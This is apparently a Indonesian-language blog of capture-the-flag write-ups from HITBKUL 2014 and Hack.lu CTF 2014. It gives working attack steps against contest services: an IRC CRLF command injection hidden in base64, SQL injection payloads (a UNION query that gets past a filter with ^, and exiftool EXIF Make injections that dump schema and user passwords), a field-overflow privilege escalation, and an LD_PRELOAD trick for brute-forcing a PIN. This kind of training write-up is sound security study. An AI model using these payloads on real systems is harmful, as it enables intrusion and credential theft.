Sunday, October 26, 2014

HITBKUL 2014: Challenge 2

Dalam challenge ini diberikan sebuah file pcap. Isinya ada beberapa yang mengecoh, tapi sebagian besar adalah “PING”, seperti ini:

image

Setelah disadari bahwa ini adalah koordinat X, Y, Z, maka berikutnya kita perlu mengekstraknya. Sebenarnya tadinya berencana menggunakan scappy, tapi karena saya belum pernah memakainya, saya liat teksnya ternyata per paket ada baris baru, jadi saya menulis skrip singkat ini:

 

Setelah itu data diedit menggunakan fitur makro Emacs supaya masuk ke format wolfram. Format perintah koordinat wolfram sangat sederhana, hanya:

a = {{x0, y0, z0}, {x1, y1, z1}, … , {xn, yn, zn}}

Show[Graphics3D[Point /@ a]]

 

image

HITBKUL 2014: Challenge 3

Challenge 3 ini sifatnya menebak satu per satu karakter. Ketika melakukan koneksi ke server, kita akan diberi respon benar, jika karakter yang kita masukkan benar. Tapi respon server akan semakin lama  berbanding lurus dengan panjang string. Jadi kami menggunakan tebakan plus skrip. Jadi caranya, setiap kali kami merasa sudah menebak satu kata, skripnya langsung diupdate, tadinya variable correct ini kosong, dan ketika berhasil menebak ‘th’, kami langsung mencoba “the”, dst.

Di dalam source code, flag terakhir yg kami temukan adalah thelasteverhackintheboxconferenceheldinkualalumpurmalaysia, dan dengan mencoba manual, ternyata flag yang diminta adalah thelasteverhackintheboxconferenceheldinkualalumpurmalaysia2014

HITBKUL 2014: Daemon 2

Setelah berhasil menyelesaikan d4 (yang belum langsung terpaka di hari pertama), kami mencoba daemon d1 (yang ternyata mustahil diselesaikan karena penggunaan fungsi random yang tidak bisa diprediksi), dan daemon 2. Logika daemon 2 ini sangat sederhana:

image

Daemon 2 akan melakukan konek balik ke host kita ke sebuah port random yang tidak bisa diprediksi. Salah satu solusi untuk ini adalah menggunakan iptables, tapi sayangnya ini didisable oleh panitia.

Jadi akhirnya saya membuat sebuah skrip python yang melisten ke banyak socket sekaligus:

Karena batasan jumlah port yang bisa dibuka, skrip itu tidak akan 100% berhasil. Skrip ini dijalankan di satu console, sambil di console lain kita melakukan serangan:

for((i=0; i<100;i++)); do nc 192.168.10.105 31337; done

Dengan mengulangi 100x, dapat dipastikan kita menerima flag dari lawan.

HITBKUL 2014: Daemon 4

Tantangan daemon 4 ini sebenarnya seharusnya diberikan di hari kedua, tapi karena kesalahan panitia, binarynya sudah dimunculkan di hari pertama. Daemon ini pertama akan membaca file flag.txt ke memori

Program ini lalu menghasilkan data random 11 digit

image

Ketika client connect ke daemon ini, maka daemon ini akan meminta PIN, pin ini dicocokkan dengan data random melalui serangkaian fungsi hashing yang rumit, lalu dibandingkan dengan strncmp:

image

Fungsi hashnya sama sekali tidak saya pelajari, berikut ini potongannya yang cukup ribet:

image

Intinya solusinya begini: terlalu rumit untuk mempelajari dan mengimplementasikan ulang algoritma hashingnya, jadi kita gunakan saja fungsi strncmp untuk mencari flag yang benar, diberikan suatu waktu.

Saya membuat file ini, intinya adalah: fungsi time() dioverride agar mengembalikan waktu dari environment variable TIME, dan fungsi strncmp akan me-log kode yang benar ke file timemap.txt

Compile file ini:

gcc -Wall -fPIC -shared -o d4.so  d4.c 

Lalu di sebuah console, jalankan ini:

export TIME=waktumulai

for((i=1; i<4000;i++)); do echo $TIME; export TIME=$(expr ${TIME} + 1); LD_PRELOAD=./d4.so ./d4; done

Di console lain, saya memiliki file ini, yang sekedar mengirimkan 12345678901 ke server.

 

Skrip ini dijalankan dalam loop:

while true; do python brute4.py; done

Hasilnya: kita memiliki file timemap.txt, yang isinya adalah: pada time t, kode yang benar adalah n

Selanjutnya, kita bisa menggunakan data ini untuk menyerang siapapun:

Thursday, October 23, 2014

HACK.LU CTF 2014 - Barmixer Bot

Pada challenge ini, kita diberikan sebuah informasi channel IRC freenode yaitu #hacklu-saloon  didalam channel tersebut terdapat sebuah bot dengan nick Barmixing-bot. kemudian saya mencoba melihat service/perintah apa saja yang disediakan oleh bot. saya memulainya dengan perintah !help untuk melihat perintah apa saja yang akan dilayani bot tersebut:

(9:40:51 PM) oghie: !help
(9:40:52 PM) barmixing-bot: oghie: Send messages to the bot or the channel starting with an exclamation mark. Known commands are list, status, karma, math, base64, base64d, rot13, ping, hack, request, list
Terdapat ada 10 perintah pada bot. dari berbagai perintah yang saya inputkan tidak menemukan titik terang. Namun setelah mengamati keseluruhan output yang ada pada perintah tersebut, ada satu perintah disini yang sangat menarik perhatian saya, yaitu perintah !status. isinya seperti ini:
(10:21:18 PM) oghie: !status
(10:21:20 PM) barmixing-bot: oghie: My name is barmixing-bot, my uptime is 8 hours 12 minutes and 30 seconds. I am on the following channels: #hacklu-saloon, #hacklu-secret-channel, 
 
yang menarik outputnya disini yakni #hacklu-secret-channel. kemudian saya mencoba untuk join ke-channel tersebut namun ternyata hanya memungkinkan untuk nick yang telah di invite.


Dari sini saya mencoba memanfaatkan perintah !base64d dengan menyisipkan perintah INVITE kedalam string base64. Jadi ketika bot melakukan Decode string base64, maka akan otomatis juga melakukan eksekusi perintah INVITE nick kedalam channel #hacklu-secret-channel

jadi mari kita encode ke base64 perintah INVITE tersebut:
#echo -e 'Hai\r\nINVITE oghie #hacklu-secret-channel' | base64
SGFpDQpJTlZJVEUgb2doaWUgI2hhY2tsdS1zZWNyZXQtY2hhbm5lbAo=
*catatan: diperlukan multi-line encode  


Kemudian kita kembali ke bot untuk menjalankan perintah decode base64. Adapun perintah yang di inputkan ke bot yaitu:
!base64d SGFpDQpJTlZJVEUgb2doaWUgI2hhY2tsdS1zZWNyZXQtY2hhbm5lbAo=
 


Dari sini kemudian bot mengkonfirmasi untuk masuk kedalam channel #hacklu-secret-channel


Setelah berada didalam channel, ternyata flag berada pada bagian topic channel.

Flag: GfeBNmN5XjwDvQB64qoqaEEeYogk4rGH3ikZ0qtc3B3HKLDoAH

Thanks.

HACK.LU CTF 2014: Dalton's Corporate Security Safe for Business

Kita diberikan sebuah website, di mana kita harus memasukkan kode-kode Captcha dalam waktu singkat (ada banyak kode sebelum diterima). Captcha-nya dihasilkan oleh javascript yang menulis ke kanvas. Kodenya selalu berubah (nama variabelnya, dan beberapa perintahnya, termasuk juga warnanya). Ini contoh JavaScriptnya:

 

Cara termudah menyelesaikan ini adalah dengan menggunakan nodejs untuk mengevaluasi javascriptnya. Saya menggunakan kombinasi python dan nodejs untuk menyelesaikannya:

Setelah dijalankan agak lama (sekitar 8 input), didapat:

FLAG :D :D fef9565c97c3a62fe10d2a0084a9e8179d72f4a05084997cb80e900d1a77a42e3

HACK.LU CTF 2014: Personnel Database

Kita diberikan source code ke sebuah service. Ketika register kita mendapatkan level terendah, dan kita hanya bisa membaca info milik boss jika memiliki level tertinggi.

Kelemahan service ini adalah: buffer yang digunakan untuk menulis besarnya tidak sama dengan membaca. Ketika mendapatkan input dari user:

char line[512]; /* last incoming command */
while (printf("> "), fgets(line, sizeof(line), stdin)) {
rtrim(line);

Dan ketika membaca dari file:


char line[256];
while (fgets(line, sizeof(line), f)) {

512 vs 256. Karena fgets dipakai, maka satu “baris” menjadi max 256 line. Jika kita memberikan deskripsi lebih dari 256 karakter, maka sisanya akan dianggap baris berikutnya.


Perintah ini cukup untuk mendapatkan flagnya:


 


register yohanes:yohanes1
set_description ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ123456789access_level=11
logout
user yohanes
pass yohanes1
whois boss
personnel

HACK.LU CTF 2014: Encrypted

Kita diberikan sebuah web dengan login dan password. Ketika login salah, terlihat query aneh:

Sepertinya itu adalah ROT13, dan ternyata memang benar. Jadi kita cuma perlu membuat query baru dan mengencodenya ke ROT13:

encrypted-login2

Dan berhasil:

encrypted-login

HACK.LU CTF 2014: GUESS THE FLAG

Look at that guy over there! He's a bandit from the group that robs the stagecoaches in unpredictable intervals. I think he hasn't been with them for very long, so he can't tell whether you're one of them. Try to look like a bandit and talk to him. He probably won't just tell you their plan for the attack, but maybe you can ask him some questions?

Kita juga diberikan binary dan source code:

https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/guess-the-flag

Binarynya tentunya tidak mengandung flag yang benar (censored). Yang perlu diperhatikan dari source code adalah:

int is_flag_correct(char *flag_hex /* the user's guess in hex */) { 

char bin_by_hex[256] = { /* table for looking up the value of a hex character – -1 means invalid */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

dan


/* the correct flag was censored out */
char flag[50] = "flag{0123456789abcdef0123456789abcdef0123456789ab}";

Ketika konversi dari hex ke biner yang dilakukan adalah:


for (int i=0; i<50; i++) {
char value1 = bin_by_hex[flag_hex[i*2 ]];
char value2 = bin_by_hex[flag_hex[i*2+1]];
if (value1 == -1 || value2 == -1) {
printf("bad input – one of the characters you supplied was not a valid hex character!\n");
exit(0);
}
given_flag[i] = (value1<<4) | value2;
}

Masalahnya terletak pada “char” yang sifatnya signed. Jika kita beri flag_hex dengan nilai negatif, maka kita akan merujuk ke bin_by_hex[nilaiminus], dan karena tepat setelahnya adalah lokasi flag, maka kita bisa menunjuk agar tiap karakter menunjuk ke flag.


Dari hasil investigasi, ternyata jarak antara bin_by_hex dan flag adala 64 byte, jadi jika kita bisa nilai –64, –63, dst maka kita akan mendapat pesan bahwa flag kita benar. Masalahnya kita tetap tidak tahu flag kita apa.


Jadi untuk mendapatkan flagnya, kita kirimkan semua nilai tadi, kecuali karakter pertama, kita coba dari 0-9a-f. Lalu ketika sudah mendapatkan karakter yang benar, kita coba karakter kedua, dst.


Dengan cara itu, didapat: flag{6974736a7573746c696b65696e7468656d6f76696573}

kalau didecode flagnya: itsjustlikeinthemovies

HACK.LU CTF 2014: KILLY THE BIT

Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.
Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account?

Diberikan juga hint:

Hint: Blind SQLi is not a good solution. You can get the correct and complete flag with one single request!

(Published on 2014-10-21 22:42:29)

Hint: The password's column name is 'passwd'.

(Published on 2014-10-21 16:27:33)

The challenge won't actually send emails - just concentrate on the website

Kita diberi source code dengan SQL injection yang jelas terlihat:

<?php
$res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");
?>

Tapi ada pengecekan:


<?php
<!-- blind? we will kill you :) -->
if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name'])) {

?>

Kita tidak bisa memakai OR, XOR, AND, SLEEP, BENCHMARK, |, ||, &, &&. Dan ada lagi: jika username ditemukan, maka password akan dihasilkan, selain itu akan dicari user yang namanya mirip dengan “sounds like”.


Dengan menggunakan kreativitas, kita bisa menggunakan ^ (operasi xor untuk bit):


admin' ^ name='admin' union select passwd,1 from user where name='admin' limit 200 offset 1 --

image


Catatan: dalam hint diberikan nama kolom yaitu “passwd”.

HACK.LU CTF 2014: Objection

This guard talks a weird dialect. And why does he talk in such a complicated way?

File source code ada di sini (dan juga pembahasannya): 

https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/objection

Meski demikian, saya meyangka ini adalah file dalam bahasa LiveScript (http://livescript.net/) dan bukan COCO, dan skripnya bisa jalan dengan “lsc”. Mungkin juga skrip ini kompatibel dengan kedua bahasa tersebut.

Inti dari skrip tersebut adalah menciptakan sebuah object javascript, yang akan mengecek apakah is_admin true sebelum mendapatkan tokennya. Kita bisa memanggil fungsi-fungsi yang didefinisikan (login, get_token), tapi di JavaScript ada fungsi built in __defineGetter__ untuk mendefinisikan getter bagi properti. Dengan mengeset itu untuk is_admin, maka is_admin akan selalu true.

livlescript1

HACK.LU CTF 2014: Gunslinger Joe's private Terminal

Kita diberikan akses ssh. Sepertinya semua karakter alfanunmerik diremove.

gun01

Tapi dengan mencoba:

./*

Kita mendapat pesan “./FLAG: permission denied”

Memasukkan ini:

/*/*

Kita masuk ke editor “vi”. Cukup dengan “:r FLAG” kita mendapat flagnya:

gun3

HACK.LU CTF 2014: HIDDEN IN PLAIN SIGHT

Soal:

At our software development company, one of the top developers left in anger. He told us that he had hidden a backdoor in our node.js server application – he thinks that we can't find it even if we try. I have attached the source code of our fileserver. After registration, you can log in, upload files and create access tokens for your files that others can use to retrieve them. He must have added some way to retrieve files without permission. And we don't have version control, so we can't just check his last commits. We have read the source code multiple times, but just can't figure out how he did it. Maybe he just lied? Can you help us and demonstrate how the backdoor works? We have uploaded a file to “/files/testuser/flag.txt” – please try to retrieve it.
Connect to https://wildwildweb.fluxfingers.net:1409/. Note that all your files will be purged every 5 minutes.

 

Source code diberikan, dan sudah ada yang mengupload di sini:

https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/hidden-in-plain-sight

Waktu memabaca source codenya, sebenarnya sepertinya semuanya tidak mungkin dipecahkan. Tapi ketika saya run, hmac yang dihasilkan selalu sama. Setelah diperhatikan dengan hex editor, ternyata ada huruf yang memakai unicode, jadi HMAC-nya selalu sama.

Dengan meng-cut source codenya, kita bisa menghasilkan signature untuk flag yang diminta:

Dan hasilnya:

4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4

Jadi kita tinggal akses filenya di url: files/testuser/flag.txt/HASH

nodejs

HACK.LU CTF 2014: ImageUpload

Soal:

In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all. Therefore, he needs your help. 
Upload pictures of criminals to this site and help the sheriff to arrest them. 
You can make this Wild Wild Web much less wild!!!

Kita diberi halaman untuk login, tapi tanpa login kita bisa mengupload image:

loginpart 

Ketika mengupload gambar kecil (kosong, putih), yang muncul adalah:

empty-stuff

Terlihat bahwa ada field Manufacturer dan Model, kemungkinan besar ini didapat dari data EXIF (yang tidak ada di file yang saya upload). Kita bisa mencoba-coba mengganti Model:

exifmodel

Dan bisa berhasil:

model

Dengan mengoba memasukkan karakter “’” didapat pesan error SQL, jadi ini adalah masalah injection di Insert. Dari urutan field, yang perlu kita modifikasi adalah Manufacturer (sebenarnyanya model juga bisa, tapi lebih sulit).

 

Ternyata yang harus dimodifikasi adalah attribut “Make”exif-not-writable

devicemake

Dan bisa kita test:

devicemake-display

Beberapa query yang dipakai:

exiftool -Make="', (SELECT group_concat(schema_name separator '|') FROM information_schema.schemata)) -- " empty.jpg

Ini adalah contoh output mendapatkan daftar database:

databasenames

exiftool -Make="', (SELECT group_concat(table_name separator '|') FROM information_schema.tables WHERE table_schema='chal')) -- " empty.jpg

Seterusnya kita dapatkan nama kolom untuk users

exiftool -Make="', (SELECT group_concat(column_name separator '|') FROM information_schema.columns WHERE table_name='users')) -- " empty.jpg

Dan terakhir daftar user dan passwordnya:

exiftool -Make="', (SELECT group_concat(concat(name, ' - ', password) separator '|') FROM users)) -- " empty.jpg

userpass

Dan dengan menggunakan Link Login kita bisa login sebagai Sheriff

thepass